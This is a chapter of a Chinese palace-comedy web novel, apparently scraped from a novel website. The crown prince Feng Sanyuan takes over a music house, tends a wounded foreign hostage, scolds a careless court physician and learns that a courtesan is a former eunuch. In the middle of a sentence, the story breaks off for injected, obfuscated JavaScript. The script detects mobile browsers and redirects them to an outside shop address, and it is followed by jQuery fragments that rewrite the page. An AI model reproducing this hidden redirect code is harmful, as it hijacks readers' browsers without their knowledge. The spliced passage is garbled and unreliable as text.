20. 插曲红袖香

作品:《太子发癫日常

    一个心有民意的太子,是值得臣子追随的,卫伉本来只觉凤三元是表妹。


    但是当凤三元对民意之事有感而发后,他深刻的意识到表妹的另一层身份,储君!


    储君也是君。


    既如此,做臣子的哪有不为主君分忧的道理?


    于是他主动请缨,要为太子效犬马之劳。


    “真的吗?二表哥?”,凤三元面对二表哥突如其来的马屁,暂时有些不适应。


    “殿下,臣的荣幸!”


    于是卫伉就接了一个活,去乐府馆传太子之令。


    ……


    “这地方已经被太子府征用了?”


    熟悉的小院,熟悉的亭子。


    不过,时隔两三日再来,心境截然不同,这一回轮到梵芸被动了,梵芸听到这消息是不信的。


    这乐府馆谁不知道是干什么的?虞国人瞧着眼热的不少,可真正敢下手的没几个。


    卫伉啧了一声后,没有立即反驳,只是略略思索了一下,上前一步,静静看着梵芸……


    然后在徐管事和红袖等人的怒视下,施施然的从袖子里掏出一张契书。


    他用右手手指拎着契书的一角,在众人面前抖了一圈,很直面的告知他们,这地方以后换主了!


    “瞧清楚了吗?这是契书!你也是馆主,应该知道,这东西在谁手里。太子下令,限你们三日后离开。”


    红袖香待契书拿出来那一刻,就知道真假了。


    乐府馆没了,他们这些人能回钟离国也是好事。


    只是如今宁王境遇不好,他们即便回去也讨不了太好的前程。


    卫伉可管不了那么多,他挑眉看着众人,“都看了?多看几眼,也好死心!”


    “……”


    梵芸伸手,想看得更清楚些,不料,卫伉也挺装,直接躲开他的动作,将契书收好藏到了袖子里。


    然后,露出一副小人得意的模样,矜持又倨傲的与梵芸告辞道:


    “馆主,我来半天了,也没喝上一口茶,我也就不怪罪了。


    嗯,对了,三天时间不多,你们就不用送了,快回去收拾东西去吧!“


    梵芸:“……”


    …………


    “三天?你可真够狠的!”


    凤三元本来还以为卫伉会容缓对方一个月的,没想到,报复的这么迫不及待。


    “一个月?小鸡仔都孵出来了,我能等到他们下崽吗?”


    卫伉想到卫成至今还半死不活的样子,就有些生气,忍不住凑到凤三元跟前倾诉一二。


    “殿下,您是没去瞧见老三那憔悴的模样,都废了!


    自打知道那帮人故意给他下套的事后,天天一副死了没埋的样!”


    话罢,也伸手从凤三元手上的盘子里捡了几个冬枣,自然的吃起来!


    真能装,要不是他这张嘴太馋,她肯定信他的气愤。


    凤三元护着盘子,嫌弃的瞥了他一眼,然后推开他,起身换了个椅子,坐下,略有叹息道:


    “三表哥……他呀,眼瞎!没办法,人生中的某些坑,就得自己趟过去!行了,没事,你可以走了!”


    卫伉:“……”,和小时候一样,可真护食!


    …………


    晚上,饭后,凤三元终于时隔许久再次在书房用功起来,她给自己缝了一本手札,用于记笔记。


    主要记录她这几日的行程,什么“九月初五,上朝”、“九月初六,围猎”……


    九月初七,决定痛下快手,保持队伍的纯洁性!


    凤三元想到自己的未来,又想到被卷入权力阶层的很多人,突然开始对要不要提前下手有些犹豫。


    可现实的生活,总会给她另类的刺激,她正彷徨的时候,翠微带来了令人意外的消息。


    “太子,那个嬴离出事了!”


    翠微听闻嬴离出事,没敢耽误,立马过来了。


    凤三元撑着下巴的手突然落在了案桌上,她直起身,皱眉不解道:


    “他又怎么了?算了,去看看。”


    这个嬴离死不死的,她不太关心,但是死在博望苑就不好处理,毕竟国籍在那摆着呢,稍有不慎,那就是虞国和钟离国的邦交问题。


    “知道他的身份了吗?”


    “燕南还在查!听说与宁王有些关系。”


    钟离国宁王本来要出使虞国为质子的,谁知道至今没来,翠微猜测,宁王可能出事了。


    “至于这个嬴离的身份,还真不好说。”


    翠微想到太子对他的试探,也着实佩服,“殿下,他会是宁王吗?”


    凤三元想到对方欣然接受试探的态度,也不敢确定,迟疑道:


    “翠微,你说宁王会干刷马桶这活吗?”


    翠微:“……”


    两人边走边说。


    出了大殿殿门,凤三元在前,翠微在后头小步撵着,与凤三元解释经过,


    “太医说是伤势过重,化脓引起的高烧不退,眼下,喝过药了,也不见退烧。”


    伤口化脓了?这么突然?


    凤三元突然想到什么,驻足看向翠微,谨慎又心虚道:


    “不会是是因为刷马桶的事吧?”


    如果是,她的罪过可大了!可谁知道他一个男人这么脆呢?


    翠微立马意会到主子的话外之意,眼皮跳了跳,坚定的否定道:


    “太子放心,绝对不是!是误诊!”


    误诊的话,那就是大夫的事了。


    “那就好!”


    凤三元松了口气,听说对方的伤势与自己无关,立马又想起追责:


    “谁误诊的?不是说死不了吗?”


    谁呀,这么不靠谱?


    是啊!


    翠微也纳闷呢,嬴离来的次日,就找太医给他诊脉,来人是胡太医,他走的时候,真是这么说的。


    “臣还记得他的原话呢,原话就是,放心,一时半会死不了!对了,今日诊脉的还是他!”


    胡太医啊?


    那个有洁癖的太医?凤三元心里突然有了答案。没错,就是他。


    胡太医又来了,凤三元提着袍摆,带着翠微,一路绕行小路,疾步赶到偏殿小书房。


    她们到的时候,老胡正在处理嬴离大腿上化脓的伤口,脓太深了,只能切开引流。


    看着就血淋淋的,吓人的很。


    凤三元只看了一眼,就避到正堂喝茶去了,燕北招呼人给她换了一盏新茶。


    待胡太医出来,人家也没客气,见自己的那茶水凉了,直接端起凤三元茶的茶咣咣喝了几口。


    凤三元无语的抬眼看他,想起误诊事件,没有一丝客气,与他算账道:


    “你这庸医,以前来的时候怎么说的?是不是说没事,死不了?那你刚才干啥去了?”


    “此一时彼一时嘛!”,胡太医理亏,但是态度上丝毫不再怕的,


    “谁知道他的大腿上还有一处伤口,我当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885914|191824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时问他伤处如何,他说没事,肩膀腹部的伤确实没事,他也没说大腿上也有伤啊!”


    那地方,捂着,还容易出汗,确实容易出事,但是病人不说,他上哪里知道去?


    “他隐瞒了伤情,我去哪里说理去!”


    胡太医振振有词,惹得凤三元冲他翻了个白眼,


    “简直强词夺理!我还不知道你,你是不是没给人诊脉?”


    两人从小就认识,胡太医幼年的时候,因为经历特殊,有了些心理阴影,得了洁癖症。可他偏偏又喜欢医术,这真是与命运相冲的爱好。


    凤三元曾经警告过他,让他自己趁早别在太医院掺和了。


    结果,他不仅还在,还晃悠到博望苑来,差点酿出人命案!


    “……”,胡太医年纪不大,心眼不少,顿时示弱道,“殿下,是臣的学徒看的。”


    所以,给嬴离看诊那天,大概率是望闻问,切是徒弟给切的!


    凤三元嗤笑一声:“我就知道!你个庸医!以后再瞎看,就让你进博望苑当内侍!”


    胡太医:“……”


    ……


    对于庸医的事,胡太医补救的很及时,嬴离腿上的伤势,得到了很好的缓解。


    但是病人嘛,是需要有人侍疾的,端茶送水什么的,必需得有!


    翠微的意见是从内侍中选一个,凤三元摇了摇头,


    “长了那样一张脸,要是身边人天天伺候,处出别样的感情来,也不好,这样,去找梵芸,让他安排人。”


    如此,就算出事,人也不用她处理。


    ……


    燕北听闻命令,当下就出宫了,一个时辰后,红袖香跟着燕北来了。


    今日的红袖香发型有些奇怪,梳的男式束发冠,冠子上横插了一根木簪,整个人看着爽利不少。


    翠微却觉得此人的身份不合适,她皱了皱眉头,看向燕北,


    “就没有更合适的了?又是她?”


    红袖香惹出多少事来,这就是个祸头子,还敢让她来?


    “我也是这么说的,”燕北回忆起梵芸说的话,仰头酝酿了一下情绪,然后叹息一声,看向红袖香,暗示她自己交待。


    “小人是宫里出来的,”红袖香委婉的暗示了一句,见翠微他们没反应,干脆道:


    “是内侍出身!”


    内侍出身?


    凤三元想到许博士,想到卫成,又想到嬴离………红袖香居然是男人?


    “那卫三公子和你……”


    翠微简直不敢想象他们之间的关系。


    红袖香沉默片刻,失落道:“我们什么也没有发生……”


    什么也没有发生?是没来得及吧?


    翠微还想再问点什么,凤三元不想再听下去了。赶紧摆手,示意红袖香下去换洗衣服。


    翠微想到卫成,颓然的坐在了椅子上,为其不平道,


    “殿下,卫三公子也太惨了吧!”


    怎么惨了,说不定还因祸得福,从此以后改邪归正了呢?


    “哼!他可不惨!”


    凤三元是一点都不可怜他的,良家子遇上骗子值得同情,海王遇上海王,那叫命中注定他活该。


    再说了,“他也不见得就是喜欢人家,纯粹就是滥情!


    不过,我好奇的是两人再见面的时候,必然尴尬的很!


    哦~,对了,卫三还送过人家一支金簪子,翠微你还记得吗?”


    翠微:“……”